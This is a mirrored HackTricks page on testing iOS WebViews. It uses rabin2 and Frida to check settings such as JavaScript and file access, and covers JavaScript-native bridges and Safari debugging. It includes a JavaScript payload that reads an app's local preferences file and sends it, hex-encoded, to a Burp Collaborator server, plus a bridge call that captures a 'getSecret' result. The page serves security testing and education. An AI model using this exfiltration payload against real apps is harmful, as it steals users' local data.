mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-24 20:13:37 +00:00
324 lines
17 KiB
Markdown
324 lines
17 KiB
Markdown
|
# iOS WebViews
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
|
||
|
|
||
|
|
||
|
## WebViews types
|
||
|
|
||
|
WebViews are utilized within applications to display web content interactively. Various types of WebViews offer different functionalities and security features for iOS applications. Here's a brief overview:
|
||
|
|
||
|
- **UIWebView**, which is no longer recommended from iOS 12 onwards due to its lack of support for disabling **JavaScript**, making it susceptible to script injection and **Cross-Site Scripting (XSS)** attacks.
|
||
|
|
||
|
- **WKWebView** is the preferred option for incorporating web content into apps, offering enhanced control over the content and security features. **JavaScript** is enabled by default, but it can be disabled if necessary. It also supports features to prevent JavaScript from automatically opening windows and ensures that all content is loaded securely. Additionally, **WKWebView**'s architecture minimizes the risk of memory corruption affecting the main app process.
|
||
|
|
||
|
- **SFSafariViewController** offers a standardized web browsing experience within apps, recognizable by its specific layout including a read-only address field, share and navigation buttons, and a direct link to open content in Safari. Unlike **WKWebView**, **JavaScript** cannot be disabled in **SFSafariViewController**, which also shares cookies and data with Safari, maintaining user privacy from the app. It must be displayed prominently according to App Store guidelines.
|
||
|
|
||
|
```javascript
|
||
|
// Example of disabling JavaScript in WKWebView:
|
||
|
WKPreferences *preferences = [[WKPreferences alloc] init];
|
||
|
preferences.javaScriptEnabled = NO;
|
||
|
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
|
||
|
config.preferences = preferences;
|
||
|
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
|
||
|
```
|
||
|
|
||
|
## WebViews Configuration Exploration Summary
|
||
|
|
||
|
### **Static Analysis Overview**
|
||
|
|
||
|
In the process of examining **WebViews** configurations, two primary types are focused on: **UIWebView** and **WKWebView**. For identifying these WebViews within a binary, commands are utilized, searching for specific class references and initialization methods.
|
||
|
|
||
|
- **UIWebView Identification**
|
||
|
|
||
|
```bash
|
||
|
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
|
||
|
```
|
||
|
|
||
|
This command helps in locating instances of **UIWebView** by searching for text strings related to it in the binary.
|
||
|
|
||
|
- **WKWebView Identification**
|
||
|
|
||
|
```bash
|
||
|
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
|
||
|
```
|
||
|
|
||
|
Similarly, for **WKWebView**, this command searches the binary for text strings indicative of its usage.
|
||
|
|
||
|
Furthermore, to find how a **WKWebView** is initialized, the following command is executed, targeting the method signature related to its initialization:
|
||
|
|
||
|
```bash
|
||
|
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
|
||
|
```
|
||
|
|
||
|
#### **JavaScript Configuration Verification**
|
||
|
|
||
|
For **WKWebView**, it's highlighted that disabling JavaScript is a best practice unless required. The compiled binary is searched to confirm that the `javaScriptEnabled` property is set to `false`, ensuring that JavaScript is disabled:
|
||
|
|
||
|
```bash
|
||
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
|
||
|
```
|
||
|
|
||
|
#### **Only Secure Content Verification**
|
||
|
|
||
|
**WKWebView** offers the capability to identify mixed content issues, contrasting with **UIWebView**. This is checked using the `hasOnlySecureContent` property to ensure all page resources are loaded through secure connections. The search in the compiled binary is performed as follows:
|
||
|
|
||
|
```bash
|
||
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
|
||
|
```
|
||
|
|
||
|
### **Dynamic Analysis Insights**
|
||
|
|
||
|
Dynamic analysis involves inspecting the heap for WebView instances and their properties. A script named `webviews_inspector.js` is used for this purpose, targeting `UIWebView`, `WKWebView`, and `SFSafariViewController` instances. It logs information about found instances, including URLs and settings related to JavaScript and secure content.
|
||
|
|
||
|
Heap inspection can be conducted using `ObjC.choose()` to identify WebView instances and check `javaScriptEnabled` and `hasonlysecurecontent` properties.
|
||
|
|
||
|
{% code title="webviews_inspector.js" %}
|
||
|
```javascript
|
||
|
ObjC.choose(ObjC.classes['UIWebView'], {
|
||
|
onMatch: function (ui) {
|
||
|
console.log('onMatch: ', ui);
|
||
|
console.log('URL: ', ui.request().toString());
|
||
|
},
|
||
|
onComplete: function () {
|
||
|
console.log('done for UIWebView!');
|
||
|
}
|
||
|
});
|
||
|
|
||
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
|
onMatch: function (wk) {
|
||
|
console.log('onMatch: ', wk);
|
||
|
console.log('URL: ', wk.URL().toString());
|
||
|
},
|
||
|
onComplete: function () {
|
||
|
console.log('done for WKWebView!');
|
||
|
}
|
||
|
});
|
||
|
|
||
|
ObjC.choose(ObjC.classes['SFSafariViewController'], {
|
||
|
onMatch: function (sf) {
|
||
|
console.log('onMatch: ', sf);
|
||
|
},
|
||
|
onComplete: function () {
|
||
|
console.log('done for SFSafariViewController!');
|
||
|
}
|
||
|
});
|
||
|
|
||
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
|
onMatch: function (wk) {
|
||
|
console.log('onMatch: ', wk);
|
||
|
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
|
||
|
}
|
||
|
});
|
||
|
|
||
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
|
onMatch: function (wk) {
|
||
|
console.log('onMatch: ', wk);
|
||
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||
|
}
|
||
|
});
|
||
|
```
|
||
|
{% endcode %}
|
||
|
|
||
|
The script is executed with:
|
||
|
|
||
|
```bash
|
||
|
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
|
||
|
```
|
||
|
|
||
|
**Key Outcomes**:
|
||
|
- Instances of WebViews are successfully located and inspected.
|
||
|
- JavaScript enablement and secure content settings are verified.
|
||
|
|
||
|
This summary encapsulates the critical steps and commands involved in analyzing WebView configurations through static and dynamic approaches, focusing on security features like JavaScript enablement and mixed content detection.
|
||
|
|
||
|
## WebView Protocol Handling
|
||
|
|
||
|
Handling content in WebViews is a critical aspect, especially when dealing with various protocols such as `http(s)://`, `file://`, and `tel://`. These protocols enable the loading of both remote and local content within apps. It is emphasized that when loading local content, precautions must be taken to prevent users from influencing the file's name or path and from editing the content itself.
|
||
|
|
||
|
**WebViews** offer different methods for content loading. For **UIWebView**, now deprecated, methods like `loadHTMLString:baseURL:` and `loadData:MIMEType:textEncodingName:baseURL:` are used. **WKWebView**, on the other hand, employs `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:`, and `loadRequest:` for web content. Methods such as `pathForResource:ofType:`, `URLForResource:withExtension:`, and `init(contentsOf:encoding:)` are typically utilized for loading local files. The method `loadFileURL:allowingReadAccessToURL:` is particularly notable for its ability to load a specific URL or directory into the WebView, potentially exposing sensitive data if a directory is specified.
|
||
|
|
||
|
To find these methods in the source code or compiled binary, commands like the following can be used:
|
||
|
|
||
|
```bash
|
||
|
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
|
||
|
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
|
||
|
```
|
||
|
|
||
|
Regarding **file access**, UIWebView allows it universally, whereas WKWebView introduces `allowFileAccessFromFileURLs` and `allowUniversalAccessFromFileURLs` settings for managing access from file URLs, with both being false by default.
|
||
|
|
||
|
A Frida script example is provided to inspect **WKWebView** configurations for security settings:
|
||
|
|
||
|
```bash
|
||
|
ObjC.choose(ObjC.classes['WKWebView'], {
|
||
|
onMatch: function (wk) {
|
||
|
console.log('onMatch: ', wk);
|
||
|
console.log('URL: ', wk.URL().toString());
|
||
|
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
|
||
|
console.log('allowFileAccessFromFileURLs: ',
|
||
|
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
|
||
|
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
|
||
|
console.log('allowUniversalAccessFromFileURLs: ',
|
||
|
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
|
||
|
},
|
||
|
onComplete: function () {
|
||
|
console.log('done for WKWebView!');
|
||
|
}
|
||
|
});
|
||
|
```
|
||
|
|
||
|
Lastly, an example of a JavaScript payload aimed at exfiltrating local files demonstrates the potential security risk associated with improperly configured WebViews. This payload encodes file contents into hex format before transmitting them to a server, highlighting the importance of stringent security measures in WebView implementations.
|
||
|
|
||
|
```javascript
|
||
|
String.prototype.hexEncode = function(){
|
||
|
var hex, i;
|
||
|
var result = "";
|
||
|
for (i=0; i<this.length; i++) {
|
||
|
hex = this.charCodeAt(i).toString(16);
|
||
|
result += ("000"+hex).slice(-4);
|
||
|
}
|
||
|
return result
|
||
|
}
|
||
|
|
||
|
var xhr = new XMLHttpRequest();
|
||
|
xhr.onreadystatechange = function() {
|
||
|
if (xhr.readyState == XMLHttpRequest.DONE) {
|
||
|
var xhr2 = new XMLHttpRequest();
|
||
|
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
|
||
|
xhr2.send(null);
|
||
|
}
|
||
|
}
|
||
|
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
|
||
|
xhr.send(null);
|
||
|
```
|
||
|
|
||
|
## Native Methods Exposed Through WebViews
|
||
|
|
||
|
## Understanding WebView Native Interfaces in iOS
|
||
|
|
||
|
From iOS 7 onwards, Apple provided APIs for **communication between JavaScript in a WebView and native** Swift or Objective-C objects. This integration is primarily facilitated through two methods:
|
||
|
|
||
|
- **JSContext**: A JavaScript function is automatically created when a Swift or Objective-C block is linked to an identifier within a `JSContext`. This allows for seamless integration and communication between JavaScript and native code.
|
||
|
- **JSExport Protocol**: By inheriting the `JSExport` protocol, native properties, instance methods, and class methods can be exposed to JavaScript. This means any changes made in the JavaScript environment are mirrored in the native environment, and vice versa. However, it's essential to ensure that sensitive data is not exposed inadvertently through this method.
|
||
|
|
||
|
### Accessing `JSContext` in Objective-C
|
||
|
|
||
|
In Objective-C, the `JSContext` for a `UIWebView` can be retrieved with the following line of code:
|
||
|
|
||
|
```objc
|
||
|
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
|
||
|
```
|
||
|
|
||
|
### Communication with `WKWebView`
|
||
|
|
||
|
For `WKWebView`, direct access to `JSContext` is not available. Instead, message passing is utilized through the `postMessage` function, enabling JavaScript to native communication. Handlers for these messages are set up as follows, enabling JavaScript to interact with the native application securely:
|
||
|
|
||
|
```swift
|
||
|
func enableJavaScriptBridge(_ enabled: Bool) {
|
||
|
options_dict["javaScriptBridge"]?.value = enabled
|
||
|
let userContentController = wkWebViewConfiguration.userContentController
|
||
|
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
|
||
|
|
||
|
if enabled {
|
||
|
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
|
||
|
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
|
||
|
}
|
||
|
}
|
||
|
```
|
||
|
|
||
|
### Interaction and Testing
|
||
|
|
||
|
JavaScript can interact with the native layer by defining a script message handler. This allows for operations like invoking native functions from a webpage:
|
||
|
|
||
|
```javascript
|
||
|
function invokeNativeOperation() {
|
||
|
value1 = document.getElementById("value1").value
|
||
|
value2 = document.getElementById("value2").value
|
||
|
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
|
||
|
}
|
||
|
|
||
|
// Alternative method for calling exposed JavaScript functions
|
||
|
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
|
||
|
```
|
||
|
|
||
|
To capture and manipulate the result of a native function call, one can override the callback function within the HTML:
|
||
|
|
||
|
```html
|
||
|
<html>
|
||
|
<script>
|
||
|
document.location = "javascriptbridge://getSecret"
|
||
|
function javascriptBridgeCallBack(name, result) {
|
||
|
alert(result);
|
||
|
}
|
||
|
</script>
|
||
|
</html>
|
||
|
```
|
||
|
|
||
|
The native side handles the JavaScript call as shown in the `JavaScriptBridgeMessageHandler` class, where the result of operations like multiplying numbers is processed and sent back to JavaScript for display or further manipulation:
|
||
|
|
||
|
```swift
|
||
|
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
|
||
|
// Handling "multiplyNumbers" operation
|
||
|
case "multiplyNumbers":
|
||
|
let arg1 = Double(messageArray[1])!
|
||
|
let arg2 = Double(messageArray[2])!
|
||
|
result = String(arg1 * arg2)
|
||
|
// Callback to JavaScript
|
||
|
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
|
||
|
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
|
||
|
}
|
||
|
```
|
||
|
|
||
|
## Debugging iOS WebViews
|
||
|
|
||
|
(Tutorial based on the one from [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
|
||
|
|
||
|
To effectively debug web content within iOS webviews, a specific setup involving Safari's developer tools is required due to the fact that messages sent to `console.log()` are not displayed in Xcode logs. Here's a simplified guide, emphasizing key steps and requirements:
|
||
|
|
||
|
- **Preparation on iOS Device**: The Safari Web Inspector needs to be activated on your iOS device. This is done by going to **Settings > Safari > Advanced**, and enabling the _Web Inspector_.
|
||
|
|
||
|
- **Preparation on macOS Device**: On your macOS development machine, you must enable developer tools within Safari. Launch Safari, access **Safari > Preferences > Advanced**, and select the option to _Show Develop menu_.
|
||
|
|
||
|
- **Connection and Debugging**: After connecting your iOS device to your macOS computer and launching your application, use Safari on your macOS device to select the webview you want to debug. Navigate to _Develop_ in Safari's menu bar, hover over your iOS device's name to see a list of webview instances, and select the instance you wish to inspect. A new Safari Web Inspector window will open for this purpose.
|
||
|
|
||
|
However, be mindful of the limitations:
|
||
|
|
||
|
- Debugging with this method requires a macOS device since it relies on Safari.
|
||
|
- Only webviews in applications loaded onto your device through Xcode are eligible for debugging. Webviews in apps installed via the App Store or Apple Configurator cannot be debugged in this manner.
|
||
|
|
||
|
|
||
|
## References
|
||
|
|
||
|
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
|
||
|
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
|
||
|
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|